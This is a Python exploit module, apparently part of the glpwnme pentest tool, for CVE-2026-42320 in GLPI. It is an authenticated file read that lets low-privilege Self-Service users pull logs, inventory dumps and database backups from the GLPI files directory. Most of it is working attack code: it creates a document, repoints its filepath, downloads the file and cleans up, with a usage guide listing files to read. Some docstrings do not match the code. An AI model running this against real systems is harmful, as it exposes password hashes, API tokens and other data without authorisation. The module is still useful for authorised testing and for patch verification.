import re
from http import HTTPStatus
from ..exploit import GlpiExploit
from ..utils import GlpiUtils
from glpwnme.exploits.logger import Log

class CVE_2026_42320(GlpiExploit):
    """
    Authenticated arbitrary file read inside GLPI_DOC_DIR via Document filepath input.

    Document::prepareInputForAdd() accepted a user-supplied 'filepath' field and,
    if the referenced file already existed under GLPI_DOC_DIR, created the document
    pointing at it without any upload:

        } elseif (isset($input['filepath'])
                  && file_exists(GLPI_DOC_DIR . '/' . $input['filepath'])) {
            $upload_ok = true;   // document references an arbitrary existing file
        }

    Document::canCreate() passes on EITHER the document CREATE right OR the
    follow-up ADDMYTICKET right (add a follow-up to your own ticket), so any
    authenticated user down to the default Self-Service profile can register a
    Document whose backing file is any file inside GLPI_DOC_DIR (= the GLPI
    files/ directory) and download it through:

        GET /front/document.send.php?docid=<id>

    The creator owns the document so canViewFile() serves it back verbatim (the
    full create+read chain is reachable at Self-Service, verified on 10.0.22).
    Traversal OUT of GLPI_DOC_DIR is blocked: document.send.php rejects any '..'
    with "Security attack" (Toolbox::sendFile), so the read is confined to files/
    and to extensions GLPI recognises. Within that scope the worst case is a
    database backup left under _dumps/*.sql (GLPI Maintenance > Backup), which
    streams the whole DB (users, password hashes, api_tokens) to any Self-Service
    user who knows the dump name (verified: a Self-Service user read a planted
    _dumps/*.sql). The always-present targets are the fixed-name logs _log/*.log
    (php/sql/event/access errors leak query fragments and paths) and the inventory
    dumps _inventories/<deviceid>.json. Other entities' uploaded documents need
    their stored relative path (xx/<sha1>.ext), which is not guessable. Files with
    no extension (the _sessions/sess_* session files) are NOT served, so this is
    not session theft.

    Fix in 10.0.25 / 11.0.7: Document::filterFields() blacklists 'filepath' and
    'sha1sum' from user input, and the filepath-based creation branch was removed.

    @author HuajiHD
    @cvss 6.5
    @name CVE_2026_42320
    """
    _impacts = "Information Disclosure, Restricted File Read"
    _privilege = "User"  # Self-Service: canCreate() also passes on follow-up ADDMYTICKET
    _is_check_opsec_safe = False
    # vulnerable on both maintained branches before the fix
    min_version = ("10.0.0", "11.0.0")
    max_version = ("10.0.25", "11.0.7")

    _MA_FORM = "/front/massiveaction.php"
    _DOC_FORM = "/front/document.form.php"
    _DOC_SEND = "/front/document.send.php"
    _PROBE_NAME = "glpwnme_42320_probe"
    _PROBE_CONTENT = "!!!!glpwnme_42320_probe_content!!!!"
    # _log/event.log is always written on a successful login (which this check requires), so a
    # single probe suffcies; more would just create extra documents on non-vulnerable instances
    _PROBE_FILE = "_log/event.log"

    def __init__(self, glpi_session):
        super().__init__(glpi_session)
        self._created_id = None
        self._backcreated = False
        self._uid = None

    def _enable_backcreated(self):
        """Set the 'go to created item after creation' user preference so the document-add
        redirect carries the new id in its Location header. This is the low-priv id-recovery:
        the /front/document.php list needs document READ, which the vuln's own privilege
        (Self-Service) lacks, so list-scraping fails for the actual attacker. preference.php
        requires update + id == getLoginUserID(); get_username() yields the current uid."""
        if self._backcreated:
            return
        self._uid = self.glpi_session.get_username().get("id")
        if self._uid:
            self.post("/front/preference.php",
                      data={"update": "Update", "id": self._uid, "backcreated": "1"},
                      allow_redirects=False)
        self._backcreated = True

    def _find_doc_id(self, name):
        """Fallback id recovery from the document list (needs document READ; used only if
        the backcreated redirect did not yield an id)."""
        resp = self.get("/front/document.php", allow_redirects=True)
        if resp.status_code != HTTPStatus.OK:
            return None
        ids = re.findall(
            r"document\.form\.php\?id=(\d+)['\"]>\s*" + re.escape(name),
            resp.text,
        )
        return max(ids, key=int) if ids else None

    def _create_doc_with_filepath(self, filepath, quiet=False):
        """
        Register a document that references an existing GLPI_DOC_DIR file via the
        'filepath' input, with no actual upload. Recover the new id from the add redirect
        (backcreated, works for a low-priv actor), falling back to the document list.
        """
        self._enable_backcreated()
        result = self.glpi_session.upload_file(GlpiUtils.random_str(8) + "-glpwnme.txt", self._PROBE_CONTENT)
        if not result.get("name"):
            if not quiet:
                Log.err(f"File upload failed: {result}")
            return False
        if not quiet:
            Log.msg("[green]Creating[/green] document from uploaded file: " + result["name"])
        resp = self.post(
            self._DOC_FORM,
            data={
                "_filename[0]": result["name"],
                "_prefix_filename[0]": "",
                "_tag_filename[0]": "",
                "add":       "1",
            },
            allow_redirects=False,
        )
        m = re.search(r"document\.form\.php\?id=(\d+)", resp.headers.get("Location", ""))
        docid = m.group(1) if m else self._find_doc_id(self._PROBE_NAME)
        if not self._update_doc_field(docid, "filepath", filepath):
            return None
        if not self._update_doc_field(docid, "sha1sum", ""):
            return None
        return docid

    def _update_doc_field(self, docid, field_name, field_value):
        """
        Update a document's field with a value
        """
        res = self.post(self._MA_FORM,
                        data={"massiveaction": "Envoyer",
                              "action":"update",
                              "processor":"MassiveAction",
                              "action_name": "Add it",

                              "search_options[Document]": "2",
                              "field": field_name,
                              field_name: field_value,

                              "items[Document][]": docid,
                              "requesttypes_id": 0},
                        allow_redirects=False)
        identifier = re.findall(r"massiveaction.php\?identifier=(\d+)", res.text)
        if not identifier:
            success = self.glpi_session.get_redirect_message()
            return "Operation successful" in success
        # # Keep previous code below if you wanna understand more in depth
        # if field_name == "filename":
        #     # Field "filename" need a two-times request in order to bypass server filtering based on $_REQUEST
        #     # @see https://github.com/glpi-project/glpi/blob/d91722c60d7552ae96c79774793bf45d78eb9771/src/Document.php#L2053
        #     # filename needs to be updated in order for the exploit to work on 11.X
        #     # @see https://github.com/Orange-Cyberdefense/glpwnme/pull/20#issuecomment-5088109581
        #     res = self.get(f"{self._MA_FORM}?identifier={identifier[0]}")
        #     print(self.glpi_session.get_redirect_message())
        return True

    def _download(self, docid):
        return self.get(f"{self._DOC_SEND}?docid={docid}", allow_redirects=False)

    def _is_served_file(self, resp):
        """
        True only if a real file body was delivered.

        The patched build still answers with HTTP 200 and even a
        'Content-Disposition: attachment' header, but with a ZERO-byte body
        (filepath was stripped, nothing to stream). The vulnerable build streams
        the referenced file. So the reliable signal is a non-empty, non-HTML body.
        (Note: a target running PHP in dev mode with display_errors=On renders the
        stream as an HTML notice page - this check then yields a conservative
        false negative rather than a false positive.)
        """
        if resp.status_code != HTTPStatus.OK:
            return False
        if GlpiUtils.is_access_denied(resp.content):
            # Non existing path return an access denied too
            return False
        return len(resp.content) > 0 and resp.text != self._PROBE_CONTENT

    def _purge(self, docid):
        """Reset filepath BEFORE purging (Document::cleanDBonPurge() unlink()s the backing file
        when filepath is set with a unique sha1sum - the CVE-2026-42317 deletion path - so a
        filepath-only probe would DELETE the file it just read; clearing filepath+sha1sum leaves
        only the document row to remove). Returns True if the document was removed, False if the
        caller lacked the right (purge is denied for a Self-Service actor, the doc then lingers)."""
        res = self.post(self._DOC_FORM,
                        data={"id": docid, "update": "1", "filepath": "", "sha1sum": ""},
                        allow_redirects=False)
        if not GlpiUtils.is_access_denied(res.content):
            resp = self.post(self._DOC_FORM,
                             data={"id": docid, "purge": "purge"},
                             allow_redirects=False)
            return not GlpiUtils.is_access_denied(resp.content)
        return False

    def infos(self):
        infos = "[u]Description:[/u]\n"
        infos += ("Authenticated arbitrary file read inside GLPI_DOC_DIR (the GLPI [b]files/[/b] dir). "
                  "[b]Document::prepareInputForAdd()[/b] honoured a user-supplied [i]filepath[/i], "
                  "letting any account that passes [b]Document::canCreate()[/b] "
                  "register a document backed by any existing file under GLPI_DOC_DIR and download "
                  "it via [b]/front/document.send.php?docid=N[/b].\n"
                  "Fix in 10.0.25 / 11.0.7: [i]Document::filterFields()[/i] strips filepath/sha1sum.\n\n")

        infos += "\n[u]Readable targets[/u] (inside GLPI_DOC_DIR):\n"
        infos += " - [i]_log/*.log[/i]: php/sql/event/access logs, always present, leak query fragments and paths\n"
        infos += " - [i]_inventories/<deviceid>.json[/i]: inventory dumps (serials, agent data)\n"
        infos += " - [i]_dumps/*.sql[/i]: a DB backup if one exists (Setup > Maintenance) = the whole database\n"
        infos += " - another entity's uploaded document, only if its stored [i]xx/<sha1>.ext[/i] path is known\n"

        infos += "\n[u]Params (run):[/u]\n"
        infos += " - [i]filepath (default '_log/php-errors.log')[/i]: file under GLPI_DOC_DIR to read\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Confirm filepath is honoured (creates + deletes a probe doc)[/]\n--check --no-opsec\n\n"
        infos += "[grey66]# Read the SQL error log[/]\n--run -O filepath=_log/sql-errors.log\n\n"
        infos += "[grey66]# Remove a doc left by --run[/]\n--clean -O docid=<id>\n\n"
        infos += "[grey66]# Other readable files[/grey66]\n"
        infos += "--run -O filepath=_log/access-errors.log\n--run -O filepath=_log/cron.log\n"
        infos += "--run -O filepath=_log/event.log\n--run -O filepath=_log/php-errors.log\n"

        infos += "\nExploit is [yellow b]Moderate[/] (creates then deletes a probe document)."
        return infos

    def check(self):
        """
        Register a probe document supplying only 'filepath' (no upload) pointing at
        _log/event.log, then download it. On vulnerable builds the document is created and the
        file is served; on patched builds filepath is stripped so nothing is served. The probe
        is purged afterwards (a denied purge, e.g. Self-Service, is recorded via _write_log).
        Pure bool, no CLI output.
        """
        docid = self._create_doc_with_filepath(self._PROBE_FILE, quiet=True)
        if not docid:
            return False
        res = self._download(docid)
        served = self._is_served_file(self._download(docid))
        if not self._purge(docid):
            self._write_log(f"probe document {docid} left on target (purge denied)")
        return served

    def _clean_document(self, docid):
        # Reset filepath, cause if an admin delete the doc, it will also delete
        # the file pointed by it
        self._update_doc_field(docid, "filepath", "")

    def run(self, filepath="_log/php-errors.log", docid=None):
        """
        Read an arbitrary file inside GLPI_DOC_DIR by registering a document that references
        it, then downloading it. Pass [b]-O docid=<id>[/b] to reuse an existing document
        (repoint it at filepath) instead of creating a new one.
        """
        if docid:
            if not self._update_doc_field(docid, "filepath", filepath):
                Log.err(f"Updating document {docid} failed")
                return
        else:
            docid = self._create_doc_with_filepath(filepath)

        if not docid:
            Log.err(f"No document created for filepath={filepath} "
                    "(file may not exist under GLPI_DOC_DIR, or instance is patched)")
            return

        self._created_id = docid
        resp = self._download(docid)
        if not self._is_served_file(resp):
            error_msg = f"Document {docid} did not serve {filepath} (HTTP {resp.status_code}) - "
            if resp.text == self._PROBE_CONTENT:
                error_msg += "Target is patched"
            else:
                error_msg += "wrong path, or instance patched"
            Log.err(error_msg)
            self._write_log(f"Document {docid} left on target")
            return

        Log.msg(f"[green]Read[/green] GLPI_DOC_DIR/[u]{filepath}[/u] via document id={docid} "
                f"({len(resp.content)} bytes):")
        try:
            print(resp.content.decode())
        except Exception:
            print(resp.content)

        Log.msg(f"Document {docid} left on target. Reuse it to read another "
                f"file with [b]--run -O docid={docid} filepath=<path>[/b]")

        self._clean_document(docid)
        Log.msg(f"[green]Clean with:[/green] --clean [b]-O docid={docid}[/b]")
        self._write_log(f"Document {docid} left on target after read")

    def clean(self, docid):
        """Purge a probe document left by --run. Pass [b]-O docid=<id>[/b] for a fresh
        invocation; falls back to the id recorded by run() within the same session. The
        purge resets filepath first, so it never deletes the referenced file."""
        if self._purge(docid):
            Log.msg(f"[green]Probe document {docid} purged[/green]")
            self._write_log(f"Document {docid} purged")
        else:
            Log.err(f"Purge of document {docid} was denied (needs the document PURGE right) - "
                    "it is still on the target")
            self._write_log(f"Failed to purge document {docid} (access denied)")
